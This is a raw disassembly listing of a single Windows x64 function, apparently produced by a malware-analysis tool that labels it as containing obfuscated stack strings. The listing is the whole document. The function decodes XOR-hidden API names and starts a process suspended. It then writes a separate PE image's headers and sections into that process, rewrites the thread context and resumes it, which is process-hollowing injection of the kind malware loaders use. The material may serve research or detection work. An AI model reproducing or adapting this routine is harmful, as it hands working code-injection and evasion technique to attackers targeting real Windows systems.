Function at 0x140002490
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x340
mov rax, qword [0x14003a030]
xor rax, rsp
mov qword [rsp + 0x330], rax
mov rbx, rdx
mov r13, rcx
mov qword [rsp + 0xc8], rcx
mov qword [rsp + 0xc0], rdx
call fcn.140001ff0
xor r14d, r14d
mov eax, r14d
mov dword [rsp + 0x64], eax
cmp eax, 5
jge 0x140002ea9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x260], xmm0
mov qword [rsp + 0x270], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x2c4], xmm1
movups xmmword [rsp + 0x2d4], xmm1
movups xmmword [rsp + 0x2e4], xmm1
movups xmmword [rsp + 0x2f4], xmm1
movups xmmword [rsp + 0x304], xmm1
movups xmmword [rsp + 0x314], xmm1
mov dword [rsp + 0x324], eax
mov dword [rsp + 0x2c0], 0x68
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140002ef4
movdqa xmm0, xmmword [str._CreateProcessA]
movdqu xmmword [rsp + 0xb0], xmm0
lea rdx, [rsp + 0xb1]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000267e
lea rdx, [rsp + 0xd8]
call fcn.140003350
mov r10, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r9, 0xfffffffffffffffd
sub r9, rax
nop word [rax + rax]
lea rcx, [r8 + r11]
movzx edx, byte [rcx + r9]
xor dl, byte [r10]
mov byte [r8 - 2], dl
movzx eax, byte [r10]
xor byte [r8 - 1], al
movzx eax, byte [r10]
xor byte [r8], al
movzx eax, byte [r10]
xor byte [r8 + 1], al
movzx eax, byte [r10]
xor byte [r8 + 2], al
movzx eax, byte [r10]
xor byte [r8 + 3], al
movzx eax, byte [r10]
xor byte [r8 + 4], al
movzx eax, byte [r10]
xor byte [r8 + 5], al
movzx eax, byte [r10]
xor byte [r8 + 6], al
movzx eax, byte [r10]
xor byte [r8 + 7], al
movzx eax, byte [r10]
xor byte [r8 + 8], al
movzx eax, byte [r10]
xor byte [r8 + 9], al
movzx eax, byte [r10]
xor byte [r8 + 0xa], al
movzx eax, byte [r10]
xor byte [r8 + 0xb], al
movzx eax, byte [r10]
xor byte [r8 + 0xc], al
movzx eax, byte [r10]
xor byte [r8 + 0xd], al
movzx eax, byte [r10]
xor byte [r8 + 0xe], al
movzx eax, byte [r10]
xor byte [r8 + 0xf], al
movzx eax, byte [r10]
xor byte [r8 + 0x10], al
movzx eax, byte [r10]
xor byte [r8 + 0x11], al
movzx eax, byte [r10]
xor byte [r8 + 0x12], al
movzx eax, byte [r10]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r8 + r9]
cmp rax, 0x2c
jae 0x140002f1c
jmp 0x1400025b0
cmp qword [rbx + 0x18], 0x10
jb 0x140002688
mov rbx, qword [rbx]
lea rcx, [rsp + 0x260]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
je 0x140002f45
movdqa xmm0, xmmword [0x140034fe0]
movdqu xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], 0x65746e6f
mov word [rsp + 0x7c], 0x7478
mov byte [rsp + 0x7e], 0
lea rdx, [rsp + 0x69]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x1400027c7
lea rdx, [rsp + 0xd8]
call fcn.1400033b0
mov r10, rax
lea rcx, [rax + 3]
mov r9, 0xfffffffffffffffd
sub r9, rax
nop dword [rax + rax]
lea rdx, [r9 + rcx]
movzx r8d, byte [rdx + r10 + 1]
xor r8b, byte [r10]
mov byte [rcx - 2], r8b
movzx eax, byte [r10]
xor byte [rcx - 1], al
movzx eax, byte [r10]
xor byte [rcx], al
movzx eax, byte [r10]
xor byte [rcx + 1], al
movzx eax, byte [r10]
xor byte [rcx + 2], al
movzx eax, byte [r10]
xor byte [rcx + 3], al
movzx eax, byte [r10]
xor byte [rcx + 4], al
movzx eax, byte [r10]
xor byte [rcx + 5], al
movzx eax, byte [r10]
xor byte [rcx + 6], al
movzx eax, byte [r10]
xor byte [rcx + 7], al
movzx eax, byte [r10]
xor byte [rcx + 8], al
movzx eax, byte [r10]
xor byte [rcx + 9], al
movzx eax, byte [r10]
xor byte [rcx + 0xa], al
movzx eax, byte [r10]
xor byte [rcx + 0xb], al
movzx eax, byte [r10]
xor byte [rcx + 0xc], al
movzx eax, byte [r10]
xor byte [rcx + 0xd], al
movzx eax, byte [r10]
xor byte [rcx + 0xe], al
lea rcx, [rcx + 0x11]
lea rax, [r9 + rcx]
cmp rax, 0x33
jae 0x140002f6d
jmp 0x140002730
movsxd r12, dword [r13 + 0x3c]
lea r15, [r12 + r13]
mov qword [rsp + 0xb0], r15
movsxd rsi, dword [r15 + 0x34]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x280], xmm1
mov qword [rsp + 0x290], r14
mov ecx, 0x164f
call fcn.140006f38
test rax, rax
je 0x140003346
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rsp + 0x280], rcx
lea rbx, [rcx + 0x1628]
mov qword [rsp + 0x290], rbx
xor edx, edx
mov r8d, 0x1628
call fcn.140009470
mov qword [rsp + 0x288], rbx
mov rax, qword [rsp + 0x280]
mov dword [rax], 0x1053b
mov rdx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x268]
call rdi
test eax, eax
je 0x140002f98
mov rax, qword [rsp + 0x280]
mov eax, dword [rax + 0xa4]
mov dword [rsp + 0xa0], eax
test esi, esi
je 0x140002fc0
movsxd rdi, dword [r13 + 0x3c]
mov r8, rsi
mov edx, dword [rdi + r13 + 0x50]
mov rcx, qword [rsp + 0x260]
call fcn.140002280
mov rbx, rax
mov qword [rsp + 0xa8], rax
mov r10, qword [0x14003c928]
lea rax, [rsp + 0x278]
mov qword [rsp + 0x20], rax
mov r9d, dword [rdi + r13 + 0x54]
mov r8, r13
mov rdx, rbx
mov rcx, qword [rsp + 0x260]
call r10
test eax, eax
je 0x1400029de
lea rdx, [rsp + 0xd8]
call fcn.140003450
mov r10, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r9, 0xfffffffffffffffd
sub r9, rax
nop word [rax + rax]
lea rcx, [r11 + r9]
movzx edx, byte [rcx + r8]
xor dl, byte [r10]
mov byte [r8 - 2], dl
movzx eax, byte [r10]
xor byte [r8 - 1], al
movzx eax, byte [r10]
xor byte [r8], al
movzx eax, byte [r10]
xor byte [r8 + 1], al
movzx eax, byte [r10]
xor byte [r8 + 2], al
movzx eax, byte [r10]
xor byte [r8 + 3], al
movzx eax, byte [r10]
xor byte [r8 + 4], al
movzx eax, byte [r10]
xor byte [r8 + 5], al
movzx eax, byte [r10]
xor byte [r8 + 6], al
movzx eax, byte [r10]
xor byte [r8 + 7], al
movzx eax, byte [r10]
xor byte [r8 + 8], al
movzx eax, byte [r10]
xor byte [r8 + 9], al
movzx eax, byte [r10]
xor byte [r8 + 0xa], al
movzx eax, byte [r10]
xor byte [r8 + 0xb], al
movzx eax, byte [r10]
xor byte [r8 + 0xc], al
movzx eax, byte [r10]
xor byte [r8 + 0xd], al
movzx eax, byte [r10]
xor byte [r8 + 0xe], al
movzx eax, byte [r10]
xor byte [r8 + 0xf], al
movzx eax, byte [r10]
xor byte [r8 + 0x10], al
movzx eax, byte [r10]
xor byte [r8 + 0x11], al
movzx eax, byte [r10]
xor byte [r8 + 0x12], al
movzx eax, byte [r10]
xor byte [r8 + 0x13], al
movzx eax, byte [r10]
xor byte [r8 + 0x14], al
movzx eax, byte [r10]
xor byte [r8 + 0x15], al
lea r8, [r8 + 0x18]
lea rax, [r9 + r8]
cmp rax, 0x30
jae 0x14000302b
jmp 0x140002900
add r12d, 0xf8
movzx eax, word [r15 + 6]
mov word [rsp + 0x60], ax
mov r15d, r14d
movabs rdx, 0x7fffffffffffffff
nop dword [rax]
cwde
cmp r15d, eax
jge 0x140002c42
movsxd rax, r12d
mov ecx, dword [rax + r13 + 0xc]
mov dword [rsp + 0x9c], ecx
movsxd rdi, dword [rax + r13 + 0x10]
mov eax, dword [rax + r13 + 0x14]
mov dword [rsp + 0x98], eax
test ecx, ecx
js 0x140003084
test edi, edi
js 0x140003084
test eax, eax
js 0x140003084
test edi, edi
je 0x140002c31
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x298], xmm0
mov qword [rsp + 0x2a8], r14
cmp rdi, rdx
ja 0x140003054
mov rcx, rdi
call fcn.140004850
mov qword [rsp + 0x298], rax
lea rbx, [rax + rdi]
mov qword [rsp + 0x2a8], rbx
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.140009470
mov qword [rsp + 0x2a0], rbx
movsxd rdx, dword [rsp + 0x98]
add rdx, r13
mov r8, rdi
mov rcx, qword [rsp + 0x298]
call fcn.140008dc0
mov rax, qword [0x14003c928]
movsxd rdx, dword [rsp + 0x9c]
add rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x278]
mov qword [rsp + 0x20], rcx
mov r9d, edi
mov r8, qword [rsp + 0x298]
mov rcx, qword [rsp + 0x260]
call rax
test eax, eax
je 0x140002bf6
lea rdx, [rsp + 0xd8]
call fcn.140003500
mov r10, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r9, 0xfffffffffffffffd
sub r9, rax
nop word [rax + rax]
lea rcx, [r9 + r11]
movzx edx, byte [rcx + r8]
xor dl, byte [r10]
mov byte [r8 - 2], dl
movzx eax, byte [r10]
xor byte [r8 - 1], al
movzx eax, byte [r10]
xor byte [r8], al
movzx eax, byte [r10]
xor byte [r8 + 1], al
movzx eax, byte [r10]
xor byte [r8 + 2], al
movzx eax, byte [r10]
xor byte [r8 + 3], al
movzx eax, byte [r10]
xor byte [r8 + 4], al
movzx eax, byte [r10]
xor byte [r8 + 5], al
movzx eax, byte [r10]
xor byte [r8 + 6], al
movzx eax, byte [r10]
xor byte [r8 + 7], al
movzx eax, byte [r10]
xor byte [r8 + 8], al
movzx eax, byte [r10]
xor byte [r8 + 9], al
movzx eax, byte [r10]
xor byte [r8 + 0xa], al
movzx eax, byte [r10]
xor byte [r8 + 0xb], al
movzx eax, byte [r10]
xor byte [r8 + 0xc], al
movzx eax, byte [r10]
xor byte [r8 + 0xd], al
movzx eax, byte [r10]
xor byte [r8 + 0xe], al
movzx eax, byte [r10]
xor byte [r8 + 0xf], al
movzx eax, byte [r10]
xor byte [r8 + 0x10], al
movzx eax, byte [r10]
xor byte [r8 + 0x11], al
movzx eax, byte [r10]
xor byte [r8 + 0x12], al
movzx eax, byte [r10]
xor byte [r8 + 0x13], al
movzx eax, byte [r10]
xor byte [r8 + 0x14], al
lea r8, [r8 + 0x17]
lea rax, [r9 + r8]
cmp rax, 0x2e
jae 0x14000305a
jmp 0x140002b20
mov rcx, qword [rsp + 0x298]
test rcx, rcx
je 0x140002c27
mov rdx, qword [rsp + 0x2a8]
sub rdx, rcx
call fcn.140004190
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x298], xmm0
mov qword [rsp + 0x2a8], r14
movabs rdx, 0x7fffffffffffffff
add r12d, 0x28
inc r15d
movzx eax, word [rsp + 0x60]
jmp 0x140002a00
mov rbx, qword [rsp + 0xa8]
mov dword [rsp + 0x2b4], ebx
mov r10, qword [0x14003c928]
mov eax, dword [rsp + 0xa0]
add eax, 8
movsxd rdx, eax
lea rax, [rsp + 0x278]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x2b4]
mov rcx, qword [rsp + 0x260]
call r10
test eax, eax
je 0x140002d88
lea rdx, [rsp + 0xd8]
call fcn.140003560
mov r10, rax
lea r8, [rax + 3]
mov r9, 0xfffffffffffffffd
sub r9, rax
lea rcx, [r9 + r8]
movzx edx, byte [rcx + r10 + 1]
xor dl, byte [r10]
mov byte [r8 - 2], dl
movzx eax, byte [r10]
xor byte [r8 - 1], al
movzx eax, byte [r10]
xor byte [r8], al
movzx eax, byte [r10]
xor byte [r8 + 1], al
movzx eax, byte [r10]
xor byte [r8 + 2], al
movzx eax, byte [r10]
xor byte [r8 + 3], al
movzx eax, byte [r10]
xor byte [r8 + 4], al
movzx eax, byte [r10]
xor byte [r8 + 5], al
movzx eax, byte [r10]
xor byte [r8 + 6], al
movzx eax, byte [r10]
xor byte [r8 + 7], al
movzx eax, byte [r10]
xor byte [r8 + 8], al
movzx eax, byte [r10]
xor byte [r8 + 9], al
movzx eax, byte [r10]
xor byte [r8 + 0xa], al
movzx eax, byte [r10]
xor byte [r8 + 0xb], al
movzx eax, byte [r10]
xor byte [r8 + 0xc], al
movzx eax, byte [r10]
xor byte [r8 + 0xd], al
movzx eax, byte [r10]
xor byte [r8 + 0xe], al
movzx eax, byte [r10]
xor byte [r8 + 0xf], al
movzx eax, byte [r10]
xor byte [r8 + 0x10], al
movzx eax, byte [r10]
xor byte [r8 + 0x11], al
movzx eax, byte [r10]
xor byte [r8 + 0x12], al
movzx eax, byte [r10]
xor byte [r8 + 0x13], al
movzx eax, byte [r10]
xor byte [r8 + 0x14], al
lea r8, [r8 + 0x17]
lea rax, [r9 + r8]
cmp rax, 0x2e
jae 0x14000311c
jmp 0x140002cb1
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax + 0x28]
test eax, eax
js 0x1400032a1
lea ecx, [rax + rbx]
mov rax, qword [rsp + 0x280]
mov dword [rax + 0xf0], ecx
mov dword [rsp + 0x50], 0x72656b35
mov dword [rsp + 0x54], 0x336c656e
mov dword [rsp + 0x58], 0x6c642e32
mov word [rsp + 0x5c], 0x6c
lea rcx, [rsp + 0x51]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140003146
movdqa xmm0, xmmword [0x140034ff0]
movdqu xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], 0x65746e6f
mov word [rsp + 0x7c], 0x7478
mov byte [rsp + 0x7e], 0
lea rdx, [rsp + 0x69]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140002e46
lea rdx, [rsp + 0xd8]
call fcn.140003660
lea rdx, [rax + 1]
mov r8, rdx
mov r9d, 0x2b
nop
movzx ecx, byte [rax]
xor byte [r8], cl
lea r8, [r8 + 1]
sub r9, 1
je 0x1400031f3
jmp 0x140002e30
mov rdx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x268]
call rax
test eax, eax
je 0x140003218
mov dword [rsp + 0x2b0], r14d
lea rdx, [rsp + 0x2b0]
mov rcx, qword [rsp + 0x268]
call qword [0x14003c920]
nop
mov rcx, qword [rsp + 0x280]
test rcx, rcx
je 0x140002ea9
mov rdx, qword [rsp + 0x290]
sub rdx, rcx
sar rdx, 2
lea rdx, [rdx*4]
call fcn.140004190
nop
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.140006f10
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
lea rdx, str.Failed_to_load_kernel32.dll
lea rcx, [rsp + 0x170]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x170]
call fcn.140008cd4
mov byte [r11 + 0x2c], 0
mov rdx, r11
lea rcx, [rsp + 0x158]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x158]
call fcn.140008cd4
lea rdx, str.Failed_to_create_process
lea rcx, [rsp + 0x140]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x140]
call fcn.140008cd4
mov byte [r10 + 0x34], 0
lea rdx, [r10 + 1]
lea rcx, [rsp + 0x128]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x128]
call fcn.140008cd4
nop
lea rdx, str.Failed_to_get_thread_context
lea rcx, [rsp + 0x110]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x110]
call fcn.140008cd4
lea rdx, [rsp + 0x68]
call fcn.140003420
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
xor byte [rax + 9], cl
xor byte [rax + 0xa], cl
xor byte [rax + 0xb], cl
xor byte [rax + 0xc], cl
xor byte [rax + 0xd], cl
xor byte [rax + 0xe], cl
xor byte [rax + 0xf], cl
xor byte [rax + 0x10], cl
xor byte [rax + 0x11], cl
xor byte [rax + 0x12], cl
mov byte [rdx + 0x12], sil
lea rcx, [rsp + 0x188]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x188]
call fcn.140008cd4
mov byte [r11 + 0x30], 0
mov rdx, r11
lea rcx, [rsp + 0x1a0]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x1a0]
call fcn.140008cd4
call fcn.140004830
nop
mov byte [r11 + 0x2e], 0
mov rdx, r11
lea rcx, [rsp + 0x1b8]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x1b8]
call fcn.140008cd4
nop
lea rdx, [rsp + 0x68]
call fcn.1400034b0
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
xor byte [rax + 9], cl
xor byte [rax + 0xa], cl
xor byte [rax + 0xb], cl
xor byte [rax + 0xc], cl
xor byte [rax + 0xd], cl
xor byte [rax + 0xe], cl
xor byte [rax + 0xf], cl
xor byte [rax + 0x10], cl
xor byte [rax + 0x11], cl
xor byte [rax + 0x12], cl
xor byte [rax + 0x13], cl
xor byte [rax + 0x14], cl
xor byte [rax + 0x15], cl
xor byte [rax + 0x16], cl
xor byte [rax + 0x17], cl
xor byte [rax + 0x18], cl
xor byte [rax + 0x19], cl
xor byte [rax + 0x1a], cl
xor byte [rax + 0x1b], cl
xor byte [rax + 0x1c], cl
xor byte [rax + 0x1d], cl
xor byte [rax + 0x1e], cl
xor byte [rax + 0x1f], cl
xor byte [rax + 0x20], cl
xor byte [rax + 0x21], cl
mov byte [rdx + 0x21], 0
lea rcx, [rsp + 0x1d0]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x1d0]
call fcn.140008cd4
mov byte [r10 + 0x2f], 0
lea rdx, [r10 + 1]
lea rcx, [rsp + 0x1e8]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x1e8]
call fcn.140008cd4
lea rdx, [rsp + 0x68]
call fcn.140003610
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
xor byte [rax + 9], cl
xor byte [rax + 0xa], cl
xor byte [rax + 0xb], cl
xor byte [rax + 0xc], cl
xor byte [rax + 0xd], cl
xor byte [rax + 0xe], cl
xor byte [rax + 0xf], cl
xor byte [rax + 0x10], cl
xor byte [rax + 0x11], cl
xor byte [rax + 0x12], cl
xor byte [rax + 0x13], cl
xor byte [rax + 0x14], cl
xor byte [rax + 0x15], cl
xor byte [rax + 0x16], cl
xor byte [rax + 0x17], cl
xor byte [rax + 0x18], cl
xor byte [rax + 0x19], cl
xor byte [rax + 0x1a], cl
xor byte [rax + 0x1b], cl
xor byte [rax + 0x1c], cl
xor byte [rax + 0x1d], cl
xor byte [rax + 0x1e], cl
xor byte [rax + 0x1f], cl
xor byte [rax + 0x20], cl
xor byte [rax + 0x21], cl
xor byte [rax + 0x22], cl
xor byte [rax + 0x23], cl
xor byte [rax + 0x24], cl
xor byte [rax + 0x25], cl
xor byte [rax + 0x26], cl
xor byte [rax + 0x27], cl
xor byte [rax + 0x28], cl
mov byte [rdx + 0x28], 0
lea rcx, [rsp + 0x200]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x200]
call fcn.140008cd4
mov byte [rdx + 0x2b], r9b
lea rcx, [rsp + 0x218]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x218]
call fcn.140008cd4
lea rdx, [rsp + 0x68]
call fcn.1400036c0
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
xor byte [rax + 9], cl
xor byte [rax + 0xa], cl
xor byte [rax + 0xb], cl
xor byte [rax + 0xc], cl
xor byte [rax + 0xd], cl
xor byte [rax + 0xe], cl
xor byte [rax + 0xf], cl
xor byte [rax + 0x10], cl
xor byte [rax + 0x11], cl
xor byte [rax + 0x12], cl
xor byte [rax + 0x13], cl
xor byte [rax + 0x14], cl
xor byte [rax + 0x15], cl
xor byte [rax + 0x16], cl
xor byte [rax + 0x17], cl
xor byte [rax + 0x18], cl
xor byte [rax + 0x19], cl
xor byte [rax + 0x1a], cl
xor byte [rax + 0x1b], cl
xor byte [rax + 0x1c], cl
mov byte [rdx + 0x1c], 0
lea rcx, [rsp + 0x230]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x230]
call fcn.140008cd4
lea rdx, [rsp + 0x68]
call fcn.1400035c0
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx], cl
xor byte [rax + 2], cl
xor byte [rax + 3], cl
xor byte [rax + 4], cl
xor byte [rax + 5], cl
xor byte [rax + 6], cl
xor byte [rax + 7], cl
xor byte [rax + 8], cl
xor byte [rax + 9], cl
xor byte [rax + 0xa], cl
xor byte [rax + 0xb], cl
xor byte [rax + 0xc], cl
xor byte [rax + 0xd], cl
xor byte [rax + 0xe], cl
xor byte [rax + 0xf], cl
xor byte [rax + 0x10], cl
xor byte [rax + 0x11], cl
xor byte [rax + 0x12], cl
xor byte [rax + 0x13], cl
xor byte [rax + 0x14], cl
xor byte [rax + 0x15], cl
xor byte [rax + 0x16], cl
xor byte [rax + 0x17], cl
xor byte [rax + 0x18], cl
xor byte [rax + 0x19], cl
xor byte [rax + 0x1a], cl
xor byte [rax + 0x1b], cl
xor byte [rax + 0x1c], cl
xor byte [rax + 0x1d], cl
xor byte [rax + 0x1e], cl
xor byte [rax + 0x1f], cl
xor byte [rax + 0x20], cl
xor byte [rax + 0x21], cl
xor byte [rax + 0x22], cl
xor byte [rax + 0x23], cl
xor byte [rax + 0x24], cl
xor byte [rax + 0x25], cl
mov byte [rdx + 0x25], 0
lea rcx, [rsp + 0x248]
call fcn.140001300
lea rdx, [0x1400385c0]
lea rcx, [rsp + 0x248]
call fcn.140008cd4
nop
call fcn.14000d7a8
int3